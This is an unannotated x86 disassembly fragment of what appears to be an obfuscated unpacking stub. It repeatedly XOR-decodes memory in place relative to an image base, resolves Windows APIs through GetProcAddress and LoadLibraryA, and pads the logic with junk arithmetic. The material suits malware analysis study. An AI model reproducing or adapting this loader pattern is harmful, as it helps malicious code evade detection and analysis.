mov eax, dword [0x10107300]
lea ecx, [eax + 0x5c27]
add eax, 0x202d0
xor eax, dword [ecx]
xor eax, 0xdccece1c
mov dword [ecx], eax
mov eax, dword [0x10103e64]
add dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b98]
add eax, 0x36b68
xor eax, dword [ecx]
xor eax, 0xdccfa7a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33400]
add eax, 0x32c74
xor eax, dword [ecx]
xor eax, 0xdccfe0b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32f04]
add eax, 0x32f8c
xor eax, dword [ecx]
mov edx, 0xdccebadc
xor eax, 0xdccfe340
mov dword [ecx], eax
and dword [0x10103e64], 0
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa42bc]
add eax, 0x812a8
xor eax, dword [ecx]
xor eax, 0xdcc4de64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x110cb]
add eax, 0x323a4
xor eax, dword [ecx]
xor eax, 0xdccfef68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x47fe]
add eax, 0xa5acc
xor eax, dword [ecx]
xor eax, 0xdcc69600
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa40fc]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36ad8]
add eax, 0x249e0
xor eax, dword [ecx]
xor eax, 0xdcce852c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [esp + 0x18]
mov dword [0x101062e4], ecx
lea ecx, [eax + 0xa3ff4]
add eax, 0x273c0
xor eax, dword [ecx]
xor eax, 0xdccebf0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3447c]
add eax, 0x1edf9
mov dword [0x1010536c], 0x6f754a3a
xor eax, dword [ecx]
xor eax, 0xdccd2135
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37090]
add eax, 0x31f10
xor eax, dword [ecx]
xor eax, 0xdccfd3dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa46b4]
add eax, 0x27610
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329d4]
add eax, 0x13d50
xor eax, dword [ecx]
xor eax, 0xdccdf19c
mov dword [ecx], eax
mov eax, 0x58f3ce0e
sub eax, dword [0x10105abc]
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3396c]
add eax, 0xa4b4c
xor eax, dword [ecx]
xor eax, 0xdcc68780
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c3c1]
add eax, 0x1c43c
xor eax, dword [ecx]
xor eax, 0xdccd08f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x333d0]
add eax, 0xa49dc
xor eax, dword [ecx]
xor eax, 0xdcc68510
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10106ae8]
add ecx, eax
mov dword [esp + 0x14], ecx
lea ecx, [eax + 0x8515]
add eax, 0x20000
xor eax, dword [ecx]
xor eax, 0xdccecccc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329dc]
add eax, 0x13040
xor eax, dword [ecx]
xor eax, 0xdccdfc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4714]
add eax, 0x27610
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
xor eax, dword [0x10106ae8]
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33354]
add eax, 0x3700c
xor eax, dword [ecx]
xor eax, 0xdccfbcc0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x883a]
add eax, 0x200d8
xor eax, dword [ecx]
xor eax, 0xdccecc14
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34140]
add eax, 0x1f680
xor eax, dword [ecx]
xor eax, 0xdccd3a4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b0dd]
add eax, 0xa5240
xor eax, dword [ecx]
xor eax, 0xdcc69e8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3cec]
add eax, 0x54bd8
xor eax, dword [ecx]
xor eax, 0xdcc98714
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d177]
add eax, 0x36b80
xor eax, dword [ecx]
xor eax, 0xdccfa74c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x493e]
add eax, 0x202c0
xor eax, dword [ecx]
xor eax, 0xdccece0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b991]
add eax, 0x20068
xor eax, dword [ecx]
push 0x10107f27
xor eax, 0xdccecca4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3bdf]
add eax, 0x1f596
xor eax, dword [ecx]
push dword [esp + 0x40]
xor eax, 0xdccd395a
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7ee1]
add eax, 0x7f58
xor eax, dword [ecx]
xor eax, 0xdcccb394
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e56a]
add eax, 0xa8f34
xor eax, dword [ecx]
xor eax, 0xdcc643f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32e08]
add eax, 0x32e0c
xor eax, dword [ecx]
xor eax, 0xdccfe2c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20364
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf980a
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19859]
add eax, 0xa90e0
xor eax, dword [ecx]
xor eax, 0xdcc65c2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a0c]
add eax, 0x13cd0
xor eax, dword [ecx]
xor eax, 0xdccdf01c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2403c]
add eax, 0x23e88
xor eax, dword [ecx]
xor eax, 0xdccef244
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b8c]
add eax, 0xa55bc
xor eax, dword [ecx]
xor eax, 0xdcc69970
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa46dc]
add eax, 0x92d28
xor eax, dword [ecx]
xor eax, 0xdcc5e1e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa475c]
add eax, 0x27480
xor eax, dword [ecx]
xor eax, 0xdcceb84c
mov dword [ecx], eax
mov eax, dword [0x1010536c]
add eax, 0xb39b8302
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e3cf]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb599]
add eax, 0x202e0
xor eax, dword [ecx]
xor eax, 0xdccece2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa81d]
add eax, 0xa5a3c
xor eax, dword [ecx]
xor eax, 0xdcc696f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2107]
add eax, 0xa5680
xor eax, dword [ecx]
xor eax, 0xdcc69a4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36ef0]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16103]
add eax, 0x15a94
xor eax, dword [ecx]
xor eax, 0xdccd9658
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19bd6]
add eax, 0xa5088
xor eax, dword [ecx]
xor eax, 0xdcc69c44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x238f4]
add eax, 0xa5240
xor eax, dword [ecx]
xor eax, 0xdcc69e8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa90b]
add eax, 0xa56a0
xor eax, dword [ecx]
xor eax, 0xdcc69a6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9ef9]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18dc4]
add eax, 0xa4f40
xor eax, dword [ecx]
xor eax, 0xdcc6838c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x252a0]
add eax, 0xf070
xor eax, dword [ecx]
xor eax, 0xdccc3cbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36f08]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbbe0]
add eax, 0xbc50
xor eax, dword [ecx]
xor eax, 0xdccc709c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x81f6]
add eax, 0x20260
xor eax, dword [ecx]
push 0x10107628
xor eax, 0xdcceceac
mov dword [ecx], eax
mov eax, dword [0x10105368]
sub eax, dword [esp + 0x18]
push ebp
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5727]
add eax, 0xa59f8
xor eax, dword [ecx]
xor eax, 0xdcc69534
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4a30]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x279c8]
add eax, 0x2da0
xor eax, dword [ecx]
xor eax, 0xdccce16c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4338]
add eax, 0x26770
xor eax, dword [ecx]
xor eax, 0xdcceabbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a46b]
add eax, 0x36320
xor eax, dword [ecx]
xor eax, 0xdccfafec
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov dword [0x10106ae8], eax
lea ecx, [eax + 0x25488]
add eax, 0x32ee0
xor eax, dword [ecx]
xor eax, 0xdccfe22c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4890]
add eax, 0x27458
xor eax, dword [ecx]
xor eax, 0xdcceb894
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13257]
add eax, 0x230b8
xor eax, dword [ecx]
xor eax, 0xdccefc74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33f48]
add eax, 0x33f38
xor eax, dword [ecx]
xor eax, 0xdccff3f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33300]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200d0
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf804e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4830]
add eax, 0x260c8
xor eax, dword [ecx]
push 0x1010782c
xor eax, 0xdcceac04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbde9]
add eax, 0x28698
xor eax, dword [ecx]
push ebp
xor eax, 0xdcce4a54
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x331a4]
add eax, 0x331a8
xor eax, dword [ecx]
xor eax, 0xdccffd64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x339f4]
add eax, 0x330f4
xor eax, dword [ecx]
xor eax, 0xdccffc38
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
xor dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25eb0]
add eax, 0x3e50
xor eax, dword [ecx]
xor eax, 0xdcccf29c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11470]
add eax, 0x20104
xor eax, dword [ecx]
xor eax, 0xdccecdc8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c0ba]
add eax, 0xa5554
xor eax, dword [ecx]
xor eax, 0xdcc69998
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32fec]
add eax, 0x32ff0
xor eax, dword [ecx]
xor eax, 0xdccfe33c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20154
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0xd
push dword [esp + 0x38]
xor ecx, 0xcccf823e
mov dword [eax], ecx
mov eax, dword [0x10107300]
add eax, 0x20340
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0x4cccccc1
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15948]
add eax, 0x14b60
xor eax, dword [ecx]
xor eax, 0xdccd87ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fb4]
add eax, 0x23a28
xor eax, dword [ecx]
xor eax, 0xdccef6e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18817]
add eax, 0x36a60
xor eax, dword [ecx]
xor eax, 0xdccfa6ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bbb2]
add eax, 0xa5540
xor eax, dword [ecx]
xor eax, 0xdcc6998c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa71c]
add eax, 0xa7ad0
xor eax, dword [ecx]
xor eax, 0xdcc6b61c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cea4]
add eax, 0x1ced4
xor eax, dword [ecx]
xor eax, 0xdccd0218
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11e9b]
add eax, 0xa5a14
xor eax, dword [ecx]
xor eax, 0xdcc696d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15539]
add eax, 0x20cc0
xor eax, dword [ecx]
xor eax, 0xdccec00c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f8c]
add eax, 0x73dd8
xor eax, dword [ecx]
xor eax, 0xdccbf114
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36ae0]
add eax, 0x249d0
xor eax, dword [ecx]
xor eax, 0xdcce851c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16a1f]
add eax, 0x21808
xor eax, dword [ecx]
xor eax, 0xdcced4c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x133f5]
add eax, 0x23198
xor eax, dword [ecx]
xor eax, 0xdccefd54
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa063]
add eax, 0x20204
xor eax, dword [ecx]
xor eax, 0xdccecec8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4b11]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4384]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbbf7]
add eax, 0x202c0
xor eax, dword [ecx]
xor eax, 0xdccece0c
mov dword [ecx], eax
mov eax, dword [0x1010536c]
xor eax, 0xe8863122
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3324c]
add eax, 0x33250
xor eax, dword [ecx]
xor eax, 0xdccffe9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x335fc]
add eax, 0x33600
xor eax, dword [ecx]
xor eax, 0xdccffacc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a81c]
add eax, 0xa51e0
xor eax, dword [ecx]
xor eax, 0xdcc69d2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14078]
add eax, 0xa5a48
xor eax, dword [ecx]
xor eax, 0xdcc69684
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11606]
add eax, 0x323e8
xor eax, dword [ecx]
xor eax, 0xdccfef24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x49e5]
add eax, 0x202e4
xor eax, dword [ecx]
xor eax, 0xdccece28
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1991a]
add eax, 0xa90e0
xor eax, dword [ecx]
xor eax, 0xdcc65c2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa48bc]
add eax, 0xa0968
xor eax, dword [ecx]
xor eax, 0xdcc6c5a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a3f9]
add eax, 0x36324
xor eax, dword [ecx]
xor eax, 0xdccfafe8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5926]
add eax, 0x202d4
xor eax, dword [ecx]
xor eax, 0xdccece18
mov dword [ecx], eax
mov eax, dword [esp + 0x18]
add eax, 0x7ab514e9
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3c83]
add eax, 0x3d50
xor eax, dword [ecx]
xor eax, 0xdcccf19c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x101062e0]
add ecx, eax
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0xa0c3]
add eax, 0xa5a08
xor eax, dword [ecx]
mov edx, 0xdccecc60
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2913c]
add eax, 0x12fc0
xor eax, dword [ecx]
xor eax, 0xdccde30c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d34]
add eax, 0x55378
xor eax, dword [ecx]
xor eax, 0xdcc99fb4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32960]
add eax, 0x13450
xor eax, dword [ecx]
xor eax, 0xdccdf89c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370c0]
add eax, 0x31e20
xor eax, dword [ecx]
xor eax, 0xdccfd2ec
mov dword [ecx], eax
mov eax, dword [0x10103e64]
sub dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa047]
add eax, 0x20124
xor eax, dword [ecx]
xor eax, 0xdccecde8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24098]
add eax, 0x23d20
xor eax, dword [ecx]
xor eax, 0xdccef1ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cefa]
add eax, 0x1cf00
xor eax, dword [ecx]
xor eax, 0xdccd03cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x61ef]
add eax, 0xa496c
xor eax, dword [ecx]
xor eax, 0xdcc685a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17534]
add eax, 0xa4bf0
xor eax, dword [ecx]
xor eax, 0xdcc6873c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12d05]
add eax, 0x28854
xor eax, dword [ecx]
xor eax, 0xdcce4498
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xffed]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, 0xc80fcbe1
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0xa847]
add eax, 0xa59b8
xor eax, dword [ecx]
mov dword [esp + 0x2c], 0x17a
xor eax, 0xdcc69574
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32c20]
add eax, 0x32c2c
xor eax, dword [ecx]
xor eax, 0xdccfe0e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x83bb]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10103e64]
or eax, 0x6a622153
mov dword [esp + 0x14], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25858]
add eax, 0x4540
xor eax, dword [ecx]
xor eax, 0xdccc898c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa41a4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x121f5]
add eax, 0x202f0
xor eax, dword [ecx]
xor eax, 0xdccece3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3405c]
add eax, 0x3404c
xor eax, dword [ecx]
xor eax, 0xdccf8c80
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x183be]
add eax, 0x23264
xor eax, dword [ecx]
xor eax, 0xdccefea8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5181]
add eax, 0xa59f4
xor eax, dword [ecx]
xor eax, 0xdcc69538
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2573c]
add eax, 0x12fc0
xor eax, dword [ecx]
xor eax, 0xdccde30c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13dbd]
add eax, 0x2908c
xor eax, dword [ecx]
xor eax, 0xdcce5c40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24058]
add eax, 0x23e6c
xor eax, dword [ecx]
xor eax, 0xdccef2a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, eax
mov dword [0x101062e4], eax
push dword [0x10107300]
push dword [esp + 0x18]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
dec dword [esp + 0x2c]
jne 0x1003058f
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa8bb]
add eax, 0x1ddb0
xor eax, dword [ecx]
xor eax, 0xdccd117c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36294]
add eax, 0x232ac
xor eax, dword [ecx]
xor eax, 0xdccefe60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4b2c]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10533]
add eax, 0x20268
xor eax, dword [ecx]
xor eax, 0xdccecea4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [esp + 0x14]
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x187ef]
add eax, 0x36528
xor eax, dword [ecx]
xor eax, 0xdccfa9e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax - 0x3a3551a9]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x13e43]
add eax, 0x2007c
xor eax, dword [ecx]
xor eax, 0xdcceccb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32af8]
add eax, 0x5040
xor eax, dword [ecx]
xor eax, 0xdccc9c8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14182]
add eax, 0x20380
xor eax, dword [ecx]
xor eax, 0xdccecf4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x98eb]
add eax, 0x20020
xor eax, dword [ecx]
xor eax, 0xdcceccec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17ec2]
add eax, 0x23200
xor eax, dword [ecx]
xor eax, 0xdccefecc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cd64]
add eax, 0x1cd74
xor eax, dword [ecx]
xor eax, 0xdccd01b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32e28]
add eax, 0x32ea8
xor eax, dword [ecx]
xor eax, 0xdccfe264
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, 0xeb6bc56
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x1cc7c]
add eax, 0x1cc88
xor eax, dword [ecx]
mov dword [esp + 0x2c], 0x1c5
xor eax, 0xdccd0044
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1365c]
add eax, 0x25748
xor eax, dword [ecx]
xor eax, 0xdcce9b84
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25ea8]
add eax, 0x2da0
xor eax, dword [ecx]
xor eax, 0xdccce16c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4770]
add eax, 0x202c8
xor eax, dword [ecx]
xor eax, 0xdccece04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3624c]
add eax, 0x23584
xor eax, dword [ecx]
xor eax, 0xdccef948
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb859]
add eax, 0xa5ad0
xor eax, dword [ecx]
xor eax, 0xdcc6961c
mov dword [ecx], eax
push dword [0x10107300]
push dword [esp + 0x18]
push dword [0x101062e0]
push section..data
call fcn.1001555e
dec dword [esp + 0x2c]
jne 0x1003079c
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24ed4]
add eax, 0x4cb0
xor eax, dword [ecx]
mov dword [esp + 0x2c], 0x98
xor eax, 0xdccc807c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32d68]
add eax, 0x36da0
xor eax, dword [ecx]
xor eax, 0xdccfa16c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, 0x69e333b4
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x337c4]
add eax, 0xa4ad8
xor eax, dword [ecx]
xor eax, 0xdcc68614
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f569]
add eax, 0x33f7c
xor eax, dword [ecx]
xor eax, 0xdccff3b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cc77]
add eax, 0x1ccf8
xor eax, dword [ecx]
xor eax, 0xdccd0034
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10105abc]
mov dword [esp + 0x18], ecx
lea ecx, [eax + 0x5187]
add eax, 0x25ea4
xor eax, dword [ecx]
xor eax, 0xdcce9268
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10106ae8]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
mov eax, dword [0x10106ae8]
xor eax, 0x93e18693
dec dword [esp + 0x2c]
mov dword [0x10105368], eax
jne 0x10030874
push 0x10107fd7
call sub.KERNEL32.dll_LoadLibraryA
mov dword [esp + 0x2c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbcc3]
add eax, 0x24a9c
xor eax, dword [ecx]
push 0x10107eff
xor eax, 0xdcce8650
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa497c]
add eax, 0xa3c18
xor eax, dword [ecx]
push dword [esp + 0x30]
xor eax, 0xdcc6f0d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f629]
add eax, 0x340c0
xor eax, dword [ecx]
xor eax, 0xdccf8c0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2c09]
add eax, 0x1f54b
xor eax, dword [ecx]
xor eax, 0xdccd3987
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xaa56]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
and dword [0x1010536c], 0
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37060]
add eax, 0x32018
xor eax, dword [ecx]
xor eax, 0xdccfecd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1755a]
add eax, 0xa4f78
xor eax, dword [ecx]
xor eax, 0xdcc683b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9907]
add eax, 0x20018
xor eax, dword [ecx]
xor eax, 0xdcceccd4
mov dword [ecx], eax
mov eax, dword [0x10103e60]
and eax, dword [esp + 0x20]
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ae8]
add eax, 0x33a14
xor eax, dword [ecx]
xor eax, 0xdccff6d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8a5d]
add eax, 0x20014
xor eax, dword [ecx]
xor eax, 0xdcceccd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20244
